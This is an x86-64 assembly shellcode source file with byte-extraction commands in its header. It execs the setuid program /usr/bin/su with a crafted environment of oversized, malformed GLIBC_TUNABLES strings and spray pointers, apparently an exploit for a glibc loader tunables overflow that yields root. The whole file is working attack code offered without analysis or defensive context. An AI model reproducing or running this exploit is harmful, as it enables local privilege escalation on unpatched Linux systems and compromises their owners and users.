;objcopy -O binary -j .text execve.o execve
;od -An -v -t x1 execve > hexcontent

BITS 64
global main
section .text
main:
    call run
    db "/usr/bin/su", 0x0
    db "--help", 0x0
    db "GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP", 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
    db "GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=XXXXXXXX", 0x0
    db "GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=XXXXXXX", 0x0
    db "GLIBC_TUNABLES=glibc.mem.tagging=YYYYYYYYYYYYYYYYYYYYYYYY", 0x0
    db `\f\20\20\20\376\177`, 0x0
    db `\370\377\377\377\377\377\377\377\370`, 0x0 ; repeate 16382 times
    
 run:
    ;;;;;;;;;;;;;;;;;;;;;;;;;
    ; call su
    ;;;;;;;;;;;;;;;;;;;;;;;;;
    pop rsi
    xor rax, rax
    ; filename "/usr/bin/su"
    lea rdi, [rsi]   
    

    ; envp (in reverse)
    push rax

    mov ecx, 47
    l1:
    dec ecx
    lea rbx, [rsi+835]
    push rbx
    jne l1

    mov ecx, 385
    l2:
    dec ecx
    lea rbx, [rsi+18]
    push rbx
    jne l2


    ; push addr
    lea rbx, [rsi+828] ; "addr in Q format"
    push rbx

    mov ecx, 172
    l3:
    dec ecx
    lea rbx, [rsi+18]
    push rbx
    jne l3


    lea rbx, [rsi+770] ; "GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=Y x 24"
    push rbx
    lea rbx, [rsi+711] ; "GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=X x 7"
    push rbx
    lea rbx, [rsi+651] ; "GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=X x 8"
    push rbx
    lea rbx, [rsi+19] ; "GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=P x 561"
    push rbx
    mov rdx, rsp

    ; argv
    ; ["/usr/bin/su", "--help"] (in reverse)
    push rax
    lea rbx, [rsi+12] ; "--help"
    push rbx
    push rdi          ; "/usr/bin/su"
    mov rsi, rsp 


    ; execve & exit
    xor rax, rax
    mov rax, 59
    syscall
    xor rdx, rdx
    mov rax, 60
    syscall